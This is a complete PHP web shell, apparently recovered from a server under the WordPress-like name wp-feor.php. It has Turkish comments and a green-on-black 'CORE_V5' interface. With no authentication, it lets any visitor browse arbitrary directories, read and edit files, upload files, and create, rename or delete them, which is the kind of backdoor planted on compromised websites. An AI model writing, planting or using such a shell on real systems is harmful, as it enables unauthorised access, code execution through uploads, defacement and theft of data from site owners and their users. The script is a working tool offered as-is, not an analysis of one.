File: //proc/thread-self/cwd/wp-feor.php
<?php
error_reporting(E_ALL);
ini_set('display_errors', 1);
// Mevcut dizini belirle
$d = isset($_GET['d']) ? $_GET['d'] : getcwd();
// İşletim sistemine göre dizin ayırıcıyı düzelt (\ vs /)
$d = str_replace(array('\\', '/'), DIRECTORY_SEPARATOR, $d);
if (!is_dir($d)) { $d = getcwd(); }
$currentDir = realpath($d);
$msg = "";
// --- AKSİYON YÖNETİMİ ---
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
$action = isset($_POST['a']) ? $_POST['a'] : '';
$target = $currentDir . DIRECTORY_SEPARATOR;
switch ($action) {
case 'upload':
if (isset($_FILES['f'])) {
move_uploaded_file($_FILES['f']['tmp_name'], $target . basename($_FILES['f']['name']));
}
break;
case 'mkdir':
if (!empty($_POST['n'])) mkdir($target . basename($_POST['n']), 0755);
break;
case 'mkfile':
if (!empty($_POST['nf'])) file_put_contents($target . basename($_POST['nf']), "");
break;
case 'rm':
if (!empty($_POST['i'])) {
$item = $target . basename($_POST['i']);
is_dir($item) ? rmdir($item) : unlink($item);
}
break;
case 'rename':
if (!empty($_POST['old']) && !empty($_POST['new'])) {
rename($target . basename($_POST['old']), $target . basename($_POST['new']));
}
break;
case 'save':
if (!empty($_POST['fn'])) file_put_contents($target . basename($_POST['fn']), $_POST['c']);
break;
}
header("Location: ?d=" . urlencode($currentDir));
exit;
}
$items = scandir($currentDir);
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>CORE_V5 // <?php echo basename($currentDir); ?></title>
<style>
body { background: #0a0a0a; color: #00ff41; font-family: 'Courier New', monospace; font-size: 13px; margin: 20px; }
.container { border: 1px solid #333; padding: 15px; background: #000; }
a { color: #00ff41; text-decoration: none; }
a:hover { background: #00ff41; color: #000; }
.path-bar { background: #111; padding: 10px; margin-bottom: 20px; border-left: 4px solid #00ff41; font-weight: bold; }
table { width: 100%; border-collapse: collapse; }
th { text-align: left; color: #666; border-bottom: 1px solid #333; padding: 10px; }
td { padding: 8px 10px; border-bottom: 1px solid #111; }
tr:hover { background: #111; }
.btn { background: none; border: 1px solid #00ff41; color: #00ff41; padding: 3px 8px; cursor: pointer; font-size: 11px; }
.btn:hover { background: #00ff41; color: #000; }
input[type="text"] { background: #000; border: 1px solid #333; color: #00ff41; padding: 4px; }
.toolbar { margin-top: 20px; padding-top: 15px; border-top: 1px solid #333; display: flex; gap: 10px; flex-wrap: wrap; }
</style>
</head>
<body>
<div class="container">
<div class="path-bar">
PATH:
<?php
$pathParts = explode(DIRECTORY_SEPARATOR, $currentDir);
$buildPath = "";
foreach ($pathParts as $part) {
if ($part === "") continue;
// Windows sürücü harfleri (C:) için özel durum
if (strpos($part, ':') !== false) {
$buildPath = $part;
} else {
$buildPath .= DIRECTORY_SEPARATOR . $part;
}
echo '<a href="?d=' . urlencode($buildPath) . '">' . htmlspecialchars($part) . '</a> / ';
}
?>
</div>
<?php if (isset($_GET['edit'])):
$file = basename($_GET['edit']);
$content = file_get_contents($currentDir . DIRECTORY_SEPARATOR . $file);
?>
<h3>Editing: <?php echo $file; ?></h3>
<form method="POST">
<input type="hidden" name="a" value="save">
<input type="hidden" name="fn" value="<?php echo htmlspecialchars($file); ?>">
<textarea name="c" style="width:100%; height:400px; background:#000; color:#00ff41; border:1px solid #333;"><?php echo htmlspecialchars($content); ?></textarea><br><br>
<button class="btn">SAVE CHANGES</button>
<a href="?d=<?php echo urlencode($currentDir); ?>" class="btn">CANCEL</a>
</form>
<?php else: ?>
<table>
<thead>
<tr>
<th>NAME</th>
<th>SIZE</th>
<th style="text-align:right">ACTIONS</th>
</tr>
</thead>
<tbody>
<?php
foreach ($items as $item):
if ($item == "." || $item == "..") continue;
$fullPath = $currentDir . DIRECTORY_SEPARATOR . $item;
$isDir = is_dir($fullPath);
?>
<tr>
<td>
<?php echo $isDir ? '📁' : '📄'; ?>
<?php if($isDir): ?>
<a href="?d=<?php echo urlencode($fullPath); ?>"><?php echo $item; ?>/</a>
<?php else: ?>
<?php echo $item; ?>
<?php endif; ?>
</td>
<td><?php echo $isDir ? 'DIR' : round(filesize($fullPath)/1024, 2).' KB'; ?></td>
<td style="text-align:right">
<form method="POST" style="display:inline;">
<input type="hidden" name="a" value="rename">
<input type="hidden" name="old" value="<?php echo htmlspecialchars($item); ?>">
<input type="text" name="new" placeholder="New Name" style="width:80px; font-size:10px;">
<button class="btn">REN</button>
</form>
<?php if(!$isDir): ?>
<a href="?d=<?php echo urlencode($currentDir); ?>&edit=<?php echo urlencode($item); ?>" class="btn">EDIT</a>
<?php endif; ?>
<form method="POST" style="display:inline;" onsubmit="return confirm('Delete?')">
<input type="hidden" name="a" value="rm">
<input type="hidden" name="i" value="<?php echo htmlspecialchars($item); ?>">
<button class="btn" style="color:#ff3333; border-color:#ff3333;">DEL</button>
</form>
</td>
</tr>
<?php endforeach; ?>
</tbody>
</table>
<div class="toolbar">
<form method="POST" enctype="multipart/form-data">
<input type="hidden" name="a" value="upload">
<input type="file" name="f" class="btn" style="width:180px;">
<button class="btn">UPLOAD</button>
</form>
<form method="POST">
<input type="hidden" name="a" value="mkdir">
<input type="text" name="n" placeholder="Folder Name">
<button class="btn">NEW DIR</button>
</form>
<form method="POST">
<input type="hidden" name="a" value="mkfile">
<input type="text" name="nf" placeholder="File Name.txt">
<button class="btn">NEW FILE</button>
</form>
</div>
<?php endif; ?>
</div>
</body>
</html>